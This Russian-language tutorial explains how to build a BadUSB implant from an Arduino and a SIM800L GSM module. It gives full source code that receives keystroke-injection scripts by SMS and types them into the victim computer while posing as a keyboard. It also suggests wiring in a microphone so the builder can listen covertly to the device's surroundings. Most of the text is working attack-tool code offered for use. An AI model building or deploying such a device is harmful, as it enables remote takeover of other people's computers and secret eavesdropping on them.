Сегодня я покажу вам, как сделать BadUSB с управлением по мобильной связи.
Еще по теме: Используем смартфон как BadUSB
Програмирование мозгов
В отличие от девайса с модулем Wi-Fi, в нашей версии BadUSB будет программироваться только модуль Arduino. SIM800L выступит как часть канала передачи, которая обрабатывает получаемые от базовой станции сигналы GSM. Результатом работы (в зависимости от отправленной модулю SIM800L команды) будет текстовая информация, выведенная в COM-порт. Рассмотрим основные команды библиотеки этого модуля, с которыми будем работать.
Общаться с модулем SIM800L можно через COM-порт с помощью текстовых команд. Их перечень огромен, поэтому приведу в качестве примера только те, которые будут задействованы.
- AT — настройка скорости обмена данными;
- AT+CMGDA="DEL <wbr />ALL" — удаление всех SMS из памяти симки;
- AT+CMGDA="DEL <wbr />READ" — удаление всех прочитанных SMS;
- AT+CLIP=1 — включение AOH;
- AT+DDET=1 — включение возможности использования тонального набора;
- AT+CMGF=1;<wbr />&W — включение текстового режима SMS с сохранением значения;
- AT+CMGL="REC <wbr />UNREAD",<wbr />1 — запрос на чтение непрочитанных SMS;
- AT+CMGR="index",<wbr />1 — получение текста SMS по индексу (index);
- AT+CMGR="index" — отметить по индексу SMS как прочитанное.
Итак, приступим к созданию кода. Логически его можно разделить на две части:
- Первая — обработка данных, получаемых от модуля SIM800L, и «выуживание» полезной нагрузки из SMS.
- Вторая — эмуляция модулем Arduino нажатий клавиш, отправляемых через USB-порт компьютеру. Основу второй части составил код, написанный Spacehuhn и переработанный мной.
Глобальные переменные и подключаемые библиотеки:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#include #include #define BAUD_RATE 57200 #define ExternSerial Serial1 SoftwareSerial SIM800(15, 14); // RX, TX — контакты передачи/приема данных на Arduino String _response = ""; // Переменная для хранения ответа модуля long lastUpdate = millis(); // Время последнего обновления long updatePeriod = 60000; // Проверять каждую минуту String phones = "Ваш_номер"; // Белый список телефонов String bufferStr = ""; String last = ""; int defaultDelay = 0; bool hasmsg = false; // Флаг наличия сообщений к удалению |
Теперь настроим скорость, с которой модули обмениваются данными, инициализируем SIM800L и заявим, что наше устройство — это клавиатура.
1 2 3 4 5 6 7 8 9 10 11 |
void setup(){ Serial.begin(9600); SIM800.begin(9600); Serial.println("Start!"); ExternSerial.begin(BAUD_RATE); Keyboard.begin(); sendATCommand("AT", true); sendATCommand("AT+CMGDA="DEL ALL"", true); sendATCommand("AT+CMGF=1;&W", true); lastUpdate = millis(); } |
Функцию loop() можно разбить на две части. Первая (if(lastUpdate + updatePeriod < millis()) — проверка на наличие непрочитанных сообщений, их обработка и отправка извлеченного скрипта в функцию parseSMS(). Вторая (if(SIM800.available())) выводит в монитор СOM-порта полученные от базовой станции данные, если модем что‑то отправил.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
void loop(){ if(lastUpdate + updatePeriod < millis()){ do{ _response = sendATCommand("AT+CMGL="REC UNREAD",1", true); if(_response.indexOf("+CMGL: ") > -1){ int msgIndex = _response.substring(_response.indexOf("+CMGL: ") + 7, _response.indexOf(""REC UNREAD"", _response.indexOf("+CMGL: ")) - 1).toInt(); char i = 0; do{ i++; _response = sendATCommand("AT+CMGR=" + (String)msgIndex + ",1", true); _response.trim(); if(_response.endsWith("OK")){ if(!hasmsg) hasmsg = true; sendATCommand("AT+CMGR=" + (String)msgIndex, true); sendATCommand("\n", true); parseSMS(_response); break; }else{ Serial.println ("Error answer"); sendATCommand("\n", true); } } while (i < 10); break; } else{ lastUpdate = millis(); if(hasmsg){ sendATCommand("AT+CMGDA="DEL READ"", true); hasmsg = false; } break; } } while (1); } if(SIM800.available()){ _response = waitResponse(); _response.trim(); Serial.println(_response); if(_response.indexOf("+CMTI:") > -1){ lastUpdate = millis() - updatePeriod; } } if(Serial.available()){ SIM800.write(Serial.read()); }; //----------------------------- if(ExternSerial.available()){ bufferStr = ExternSerial.readStringUntil("END"); Serial.println(bufferStr); } if(bufferStr.length() > 0){ bufferStr.replace("\r","\n"); bufferStr.replace("\n\n","\n"); while(bufferStr.length() > 0){ int latest_return = bufferStr.indexOf("\n"); if(latest_return == -1){ Serial.println("run: "+bufferStr); Line(bufferStr); bufferStr = ""; } else{ Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'"); Line(bufferStr.substring(0, latest_return)); last=bufferStr.substring(0, latest_return); bufferStr = bufferStr.substring(latest_return + 1); } } bufferStr = ""; ExternSerial.write(0x99); Serial.println("done"); } } |
Функции parseSMS() включают в себя обработку номера телефона отправителя и сравнение его со списком разрешенных, вывод текста сообщения и номера в монитор COM-порта. Далее сам скрипт из сообщения отправляется в функцию Line().
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
void parseSMS(String msg){ String msgheader = ""; String msgbody = ""; String msgphone = ""; msg = msg.substring(msg.indexOf("+CMGR: ")); msgheader = msg.substring(0, msg.indexOf("\r")); msgbody = msg.substring(msgheader.length() + 2); msgbody = msgbody.substring(0, msgbody.lastIndexOf("OK")); msgbody.trim(); int firstIndex = msgheader.indexOf("","") + 3; int secondIndex = msgheader.indexOf("","", firstIndex); msgphone = msgheader.substring(firstIndex, secondIndex); Serial.println("Phone: " + msgphone); Serial.println("Message: " + msgbody); if(msgphone.length() > 6 && phones.indexOf(msgphone) > -1){ Line(msgbody); } else{ Serial.println("Unknown phonenumber"); } } |
Функция Line(String _line) принимает переменную msgbody, отправленную из функции parseSMS(), и записывает в переменную _line. Далее следует обработка префиксов команд: STRING — ; DELAY — пауза между командами; DEFAULTDELAY — пауза между командами по умолчанию; REM — комментарий; REPLAY — повторить. Выражения, которые идут после STRING, обрабатываются функцией press(String b).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
void Line(String _line){ int firstSpace = _line.indexOf(" "); if(firstSpace == -1) Press(_line); else if(_line.substring(0,firstSpace) == "STRING"){ for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]); } else if(_line.substring(0,firstSpace) == "DELAY"){ int delaytime = _line.substring(firstSpace + 1).toInt(); delay(delaytime); } else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt(); else if(_line.substring(0,firstSpace) == "REM"){} else if(_line.substring(0,firstSpace) == "REPLAY"){ int replaynum = _line.substring(firstSpace + 1).toInt(); while(replaynum){ Line(last); --replaynum; } } else{ String remain = _line; while(remain.length() > 0){ int latest_space = remain.indexOf(" "); if(latest_space == -1){ Press(remain); remain = ""; } else{ Press(remain.substring(0, latest_space)); remain = remain.substring(latest_space + 1); } delay(5); } } Keyboard.releaseAll(); delay(defaultDelay); } |
Функция Press (String b) отправляет сигналы нажатия клавиш компьютеру в зависимости от содержания скрипта:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
void Press(String b){ if(b.length() == 1) Keyboard.press(char(b[0])); else if(b.equals("ENTER")) Keyboard.press(KEY_RETURN); else if(b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL); else if(b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT); else if(b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT); else if(b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI); else if(b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW); else if(b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW); else if(b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW); else if(b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW); else if(b.equals("DELETE")) Keyboard.press(KEY_DELETE); else if(b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP); else if(b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN); else if(b.equals("HOME")) Keyboard.press(KEY_HOME); else if(b.equals("ESC")) Keyboard.press(KEY_ESC); else if(b.equals("INSERT")) Keyboard.press(KEY_INSERT); else if(b.equals("TAB")) Keyboard.press(KEY_TAB); else if(b.equals("END")) Keyboard.press(KEY_END); else if(b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK); else if(b.equals("F1")) Keyboard.press(KEY_F1); else if(b.equals("F2")) Keyboard.press(KEY_F2); else if(b.equals("F3")) Keyboard.press(KEY_F3); else if(b.equals("F4")) Keyboard.press(KEY_F4); else if(b.equals("F5")) Keyboard.press(KEY_F5); else if(b.equals("F6")) Keyboard.press(KEY_F6); else if(b.equals("F7")) Keyboard.press(KEY_F7); else if(b.equals("F8")) Keyboard.press(KEY_F8); else if(b.equals("F9")) Keyboard.press(KEY_F9); else if(b.equals("F10")) Keyboard.press(KEY_F10); else if(b.equals("F11")) Keyboard.press(KEY_F11); else if(b.equals("F12")) Keyboard.press(KEY_F12); else if(b.equals("SPACE")) Keyboard.press(' '); } |
Функция sendATCommand(String cmd, bool waiting) упрощает взаимодействие с модулем SIM800L. В случае неудачной отправки команды модулю цикл повторяется заново.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
String sendATCommand(String cmd, bool waiting){ String _resp = ""; Serial.println(cmd); SIM800.println(cmd); if(waiting){ _resp = waitResponse(); if(_resp.startsWith(cmd)){ _resp = _resp.substring(_resp.indexOf("\r", cmd.length()) + 2); } Serial.println(_resp); } return _resp; } |
Функция waitResponse() ожидает ответа и возвращает полученный от модема результат.
1 2 3 4 5 6 7 8 9 10 11 12 |
String waitResponse(){ String _resp = ""; long _timeout = millis() + 10000; while (!SIM800.available() && millis() < _timeout){}; if(SIM800.available()){ _resp = SIM800.readString(); } else{ Serial.println("Timeout..."); } return _resp; } |
Тестирование BADUsb
Итак, настал момент истины! Цепляем устройство к USB-порту компьютера. Ждем, когда модем установит соединение с базовой станцией, — об этом свидетельствует мигающий раз в 3 с красный светодиод. Проверяем наличие обнаруженных устройств в ОС.
После этого отправляем тестовый скрипт с полезной нагрузкой в тексте SMS на SIM-карту модема. Например, так, как показано на следующих рисунках.
Полный набор команд можно найти у SpacehuhnTech.
Какая полезная нагрузка будет в SMS, зависит только от вашего знания командных строк Linux и Windows, а также вашей изобретательности.
Что еще можно сделать?
Совершенству нет предела! Давайте рассмотрим пару примеров того, как вы можете улучшить устройство.
У SIM800L есть контакты Mic+ и Mic-. К ним можно припаять конденсаторный микрофон. В коде необходимо будет прописать дополнительную процедуру для обработки входящего звонка. Вы будете слышать все, что происходит рядом с устройством.
Также можно включить обработку тонального набора, когда модем будет автоматически отвечать на звонок с вашего телефона. Это даст возможность выполнять скрипты, записанные вами заранее в память устройства, при звонке с определенного телефона и нажатий определенной цифровой комбинации во время сеанса связи.
Вывод
Что ж, хотелось бы сказать, что в таких устройствах нет ничего сложного: компании предлагают уже готовые модули, позволяющие работать с ними, как с Lego, программирование в большинстве случаев сводится к использованию языков высокого уровня, а комьюнити практически всегда делится своими наработками и гайдами. Нужны только идея и ваша фантазия, и тогда вы сможете собрать что‑то классное.
Еще по теме: BadUSB Rubber Ducky своими руками
Спасибо :)